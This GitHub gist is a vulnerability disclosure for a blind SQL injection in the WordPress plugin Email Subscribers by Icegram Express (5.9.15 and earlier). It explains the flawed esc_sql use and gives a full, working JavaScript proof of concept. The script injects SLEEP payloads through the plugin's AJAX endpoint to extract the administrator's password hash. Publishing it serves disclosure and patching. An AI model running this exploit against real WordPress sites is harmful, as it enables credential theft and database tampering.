Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save stevenyu113228/6c5c3f660e6dc739768842c051028f40 to your computer and use it in GitHub Desktop.

Select an option

Save stevenyu113228/6c5c3f660e6dc739768842c051028f40 to your computer and use it in GitHub Desktop.
Authenticated (Admin) SQL Injection in Email Subscribers by Icegram Express <= 5.9.15

Authenticated (Admin) SQL Injection in Email Subscribers by Icegram Express

Summary

Field Value
Plugin Name Email Subscribers by Icegram Express
Vendor Icegram
Tested Version 5.9.15
Vulnerability Type SQL Injection (Blind, Time-Based / Boolean-Based)
CVSS Score 7.2 (High)
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Authentication Required Yes (Administrator)

Vulnerability Details

Description

The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the workflow_ids parameter in the update_status function. The vulnerability exists because user-supplied input is insufficiently sanitized before being incorporated into SQL queries.

The esc_sql() function used for sanitization only escapes quotes and backslashes, which is inadequate for protecting against SQL injection in IN clause contexts where numeric values don't require quotes.

Affected Component

  • File: lite/includes/workflows/db/class-es-db-workflows.php
  • Function: update_status()
  • Lines: 360-385

Vulnerable Code

public function update_status( $workflow_ids = array(), $status = 0 ) {
    global $wpbd;

    $updated = false;
    if ( empty( $workflow_ids ) ) {
        return $updated;
    }

    $workflow_ids = esc_sql( $workflow_ids );  // Insufficient sanitization

    // Variable to hold workflow ids seperated by commas.
    $workflow_ids_str = '';
    if ( is_array( $workflow_ids ) && count( $workflow_ids ) > 0 ) {
        $workflow_ids_str = implode( ',', $workflow_ids );
    } elseif ( is_numeric( $workflow_ids ) ) {
        $workflow_ids_str = $workflow_ids;
    }

    if ( ! empty( $workflow_ids_str ) ) {
        // String interpolation occurs BEFORE prepare()
        $updated = $wpbd->query( $wpbd->prepare(
            "UPDATE {$wpbd->prefix}ig_workflows SET status = %d WHERE id IN ($workflow_ids_str)",
            $status
        ));
    }
    // ...
}

Attack Vector

The vulnerability is exploitable through the AJAX endpoint:

  • Action: wp_ajax_icegram-express
  • Handler: workflows
  • Method: update_status

Root Cause

  1. esc_sql() only escapes single quotes, double quotes, and backslashes
  2. In an IN clause context, SQL injection payloads don't require quotes
  3. String interpolation occurs before $wpdb->prepare() is called
  4. No validation is performed on the workflow_ids array elements

Proof of Concept

Prerequisites

  1. WordPress installation with Email Subscribers plugin version 5.9.15 or earlier
  2. Administrator account access
  3. Navigate to any Email Subscribers admin page (e.g., /wp-admin/admin.php?page=es_workflows)

PoC Script (Boolean-Based Blind SQL Injection)

The following JavaScript extracts the administrator's password hash from the wp_users table:

/**
 * Binary Search Boolean-Based Blind SQL Injection PoC
 * Target: WordPress Email Subscribers Plugin <= 5.9.15
 * Extracts admin (ID=1) password hash from wp_users table
 *
 * Usage:
 *   1. Login as WordPress admin
 *   2. Navigate to any Email Subscribers admin page
 *   3. Open browser DevTools (F12) -> Console
 *   4. Paste and execute this script
 */

(async function extractWithBinarySearch() {
    const DELAY_SEC = 0.5;
    const THRESHOLD_MS = DELAY_SEC * 1000 * 0.8;
    const TARGET_LENGTH = 20;

    let extractedHash = '';

    console.log('========================================');
    console.log('Binary Search Boolean-Based SQLi PoC');
    console.log('Target: Admin (ID=1) Password Hash');
    console.log('========================================\n');

    async function testCondition(condition) {
        const payload = `1) AND IF(${condition},SLEEP(${DELAY_SEC}),0)-- -`;
        const startTime = Date.now();

        try {
            await jQuery.ajax({
                url: ajaxurl,
                type: 'POST',
                timeout: (DELAY_SEC + 2) * 1000,
                data: {
                    action: 'icegram-express',
                    security: ig_es_js_data.security,
                    handler: 'workflows',
                    method: 'update_status',
                    data: JSON.stringify({
                        workflow_ids: [payload],
                        status: 1
                    })
                }
            });
        } catch (e) {}

        return (Date.now() - startTime) >= THRESHOLD_MS;
    }

    async function findCharAt(position) {
        let low = 32, high = 126;

        while (low <= high) {
            const mid = Math.floor((low + high) / 2);
            const query = `(SELECT user_pass FROM wp_users WHERE ID=1)`;

            // Test: ASCII >= mid
            const condition = `ASCII(SUBSTRING(${query},${position},1))>=${mid}`;
            const isGreaterOrEqual = await testCondition(condition);

            if (isGreaterOrEqual) {
                // Test: ASCII = mid
                const exactCondition = `ASCII(SUBSTRING(${query},${position},1))=${mid}`;
                const isExact = await testCondition(exactCondition);

                if (isExact) {
                    return String.fromCharCode(mid);
                }
                low = mid + 1;
            } else {
                high = mid - 1;
            }
        }
        return '?';
    }

    for (let pos = 1; pos <= TARGET_LENGTH; pos++) {
        const char = await findCharAt(pos);
        extractedHash += char;
        console.log(`[+] Position ${pos}: '${char}' | Current: ${extractedHash}`);
    }

    console.log('\n========================================');
    console.log(`[+] Extraction complete!`);
    console.log(`[+] Admin hash (first ${TARGET_LENGTH} chars): ${extractedHash}`);
    console.log('========================================');

    if (extractedHash.startsWith('$P$')) {
        console.log('[+] Confirmed valid WordPress PHPass format!');
    }

    return extractedHash;
})();

Steps to Reproduce

  1. Install and activate Email Subscribers by Icegram Express plugin (version 5.9.15)
1
  1. Complete the initial setup wizard by clicking "Save & Proceed"

  2. Navigate to the Workflows page: /wp-admin/admin.php?page=es_workflows

  3. Open browser Developer Tools (F12) and go to the Console tab

  4. Paste and execute the PoC script above

2
  1. Observe the extracted password hash characters appearing in the console
3

Impact

An authenticated attacker with administrator privileges can:

  1. Extract sensitive data from the WordPress database, including:

    • User credentials (password hashes)
    • Email addresses and personal information
    • Plugin configuration and secrets
  2. Modify database contents through crafted UPDATE statements

  3. Potential privilege escalation if combined with other vulnerabilities (e.g., the Broken Access Control vulnerability in the same plugin allows lower-privileged users to access this endpoint)


Timeline

Date Action
2025-01-28 Vulnerability discovered
2025-01-28 Report submitted to Wordfence

References


Credit

Chiao-Lin, Yu (Steven Meow) & Kai-Ching, Wang (Keniver Wang)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment